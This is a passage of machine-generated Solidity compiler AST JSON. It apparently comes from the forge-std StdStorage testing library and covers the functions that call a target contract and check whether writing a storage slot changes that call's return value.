","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7521,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1386:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"1381:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"arguments":[{"id":7523,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1406:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7522,"name":"getCallParams","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7506,"src":"1392:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) view returns (bytes memory)"}},"id":7524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1392:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":7518,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1364:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":7519,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1368:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"1364:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":7525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1364:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"1344:68:8"},{"assignments":[7528,7530],"declarations":[{"constant":false,"id":7528,"mutability":"mutable","name":"success","nameLocation":"1428:7:8","nodeType":"VariableDeclaration","scope":7551,"src":"1423:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7527,"name":"bool","nodeType":"ElementaryTypeName","src":"1423:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7530,"mutability":"mutable","name":"rdat","nameLocation":"1450:4:8","nodeType":"VariableDeclaration","scope":7551,"src":"1437:17:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7529,"name":"bytes","nodeType":"ElementaryTypeName","src":"1437:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":7536,"initialValue":{"arguments":[{"id":7534,"name":"cald","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7517,"src":"1482:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"expression":{"id":7531,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1458:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7532,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1463:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"1458:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":7533,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1471:10:8","memberName":"staticcall","nodeType":"MemberAccess","src":"1458:23:8","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":7535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1458:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1422:65:8"},{"assignments":[7538],"declarations":[{"constant":false,"id":7538,"mutability":"mutable","name":"result","nameLocation":"1505:6:8","nodeType":"VariableDeclaration","scope":7551,"src":"1497:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1497:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7546,"initialValue":{"arguments":[{"id":7540,"name":"rdat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7530,"src":"1529:4:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7544,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"3332","id":7541,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1535:2:8","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"expression":{"id":7542,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7509,"src":"1540:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7543,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1545:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"1540:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1535:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7539,"name":"bytesToBytes32","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8663,"src":"1514:14:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_uint256_$returns$_t_bytes32_$","typeString":"function (bytes memory,uint256) pure returns (bytes32)"}},"id":7545,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1514:38:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"1497:55:8"},{"expression":{"components":[{"id":7547,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7528,"src":"1571:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":7548,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7538,"src":"1580:6:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":7549,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1570:17:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"functionReturnParameters":7515,"id":7550,"nodeType":"Return","src":"1563:24:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"callTarget","nameLocation":"1260:10:8","parameters":{"id":7510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7509,"mutability":"mutable","name":"self","nameLocation":"1290:4:8","nodeType":"VariableDeclaration","scope":7552,"src":"1271:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7508,"nodeType":"UserDefinedTypeName","pathNode":{"id":7507,"name":"StdStorage","nameLocations":["1271:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1271:10:8"},"referencedDeclaration":7427,"src":"1271:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"1270:25:8"},"returnParameters":{"id":7515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7512,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7552,"src":"1319:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7511,"name":"bool","nodeType":"ElementaryTypeName","src":"1319:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7514,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7552,"src":"1325:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7513,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1325:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1318:15:8"},"scope":8781,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":7630,"nodeType":"FunctionDefinition","src":"1851:546:8","nodes":[],"body":{"id":7629,"nodeType":"Block","src":"1944:453:8","nodes":[],"statements":[{"assignments":[7563],"declarations":[{"constant":false,"id":7563,"mutability":"mutable","name":"prevSlotValue","nameLocation":"1962:13:8","nodeType":"VariableDeclaration","scope":7629,"src":"1954:21:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7562,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1954:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7570,"initialValue":{"arguments":[{"expression":{"id":7566,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"1986:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7567,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1991:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"1986:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7568,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7557,"src":"2000:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7564,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"1978:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1981:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"1978:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":7569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1978:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"1954:51:8"},{"assignments":[7572,7574],"declarations":[{"constant":false,"id":7572,"mutability":"mutable","name":"success","nameLocation":"2021:7:8","nodeType":"VariableDeclaration","scope":7629,"src":"2016:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7571,"name":"bool","nodeType":"ElementaryTypeName","src":"2016:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7574,"mutability":"mutable","name":"prevReturnValue","nameLocation":"2038:15:8","nodeType":"VariableDeclaration","scope":7629,"src":"2030:23:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7573,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2030:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7578,"initialValue":{"arguments":[{"id":7576,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2068:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7575,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"2057:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2057:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"2015:58:8"},{"assignments":[7580],"declarations":[{"constant":false,"id":7580,"mutability":"mutable","name":"testVal","nameLocation":"2092:7:8","nodeType":"VariableDeclaration","scope":7629,"src":"2084:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7579,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2084:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7596,"initialValue":{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":7586,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7581,"name":"prevReturnValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7574,"src":"2102:15:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":7584,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2129:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":7583,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2121:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7582,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2121:7:8","typeDescriptions":{}}},"id":7585,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2121:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"2102:29:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"arguments":[{"hexValue":"30","id":7593,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2165:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":7592,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2157:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7591,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2157:7:8","typeDescriptions":{}}},"id":7594,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2157:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7595,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"2102:65:8","trueExpression":{"arguments":[{"id":7589,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7463,"src":"2142:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7588,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2134:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7587,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2134:7:8","typeDescriptions":{}}},"id":7590,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2134:20:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"2084:83:8"},{"expression":{"arguments":[{"expression":{"id":7600,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2186:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7601,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2191:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"2186:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7602,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7557,"src":"2200:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":7603,"name":"testVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7580,"src":"2206:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7597,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"2177:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7599,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2180:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"2177:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2177:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7605,"nodeType":"ExpressionStatement","src":"2177:37:8"},{"assignments":[null,7607],"declarations":[null,{"constant":false,"id":7607,"mutability":"mutable","name":"newReturnValue","nameLocation":"2236:14:8","nodeType":"VariableDeclaration","scope":7629,"src":"2228:22:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2228:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7611,"initialValue":{"arguments":[{"id":7609,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2265:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7608,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"2254:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7610,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2254:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"2225:45:8"},{"expression":{"arguments":[{"expression":{"id":7615,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7555,"src":"2290:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7616,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2295:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"2290:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7617,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7557,"src":"2304:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":7618,"name":"prevSlotValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7563,"src":"2310:13:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7612,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"2281:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2284:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"2281:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2281:43:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7620,"nodeType":"ExpressionStatement","src":"2281:43:8"},{"expression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":7626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7621,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7572,"src":"2343:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":7624,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7622,"name":"prevReturnValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7574,"src":"2355:15:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":7623,"name":"newReturnValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7607,"src":"2374:14:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"2355:33:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":7625,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2354:35:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2343:46:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":7627,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2342:48:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":7561,"id":7628,"nodeType":"Return","src":"2335:55:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checkSlotMutatesCall","nameLocation":"1860:20:8","parameters":{"id":7558,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7555,"mutability":"mutable","name":"self","nameLocation":"1900:4:8","nodeType":"VariableDeclaration","scope":7630,"src":"1881:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7554,"nodeType":"UserDefinedTypeName","pathNode":{"id":7553,"name":"StdStorage","nameLocations":["1881:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"1881:10:8"},"referencedDeclaration":7427,"src":"1881:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7557,"mutability":"mutable","name":"slot","nameLocation":"1914:4:8","nodeType":"VariableDeclaration","scope":7630,"src":"1906:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7556,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1906:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1880:39:8"},"returnParameters":{"id":7561,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7560,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7630,"src":"1938:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7559,"name":"bool","nodeType":"ElementaryTypeName","src":"1938:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1937:6:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7712,"nodeType":"FunctionDefinition","src":"2560:514:8","nodes":[],"body":{"id":7711,"nodeType":"Block","src":"2663:411:8","nodes":[],"statements":[{"body":{"id":7705,"nodeType":"Block","src":"2722:319:8","statements":[{"assignments":[7655],"declarations":[{"constant":false,"id":7655,"mutability":"mutable","name":"valueToPut","nameLocation":"2744:10:8","nodeType":"VariableDeclaration","scope":7705,"src":"2736:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7654,"name":"uint256","nodeType":"ElementaryTypeName","src":"2736:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7669,"initialValue":{"condition":{"id":7656,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7637,"src":"2757:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"31","id":7664,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2789:1:8","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 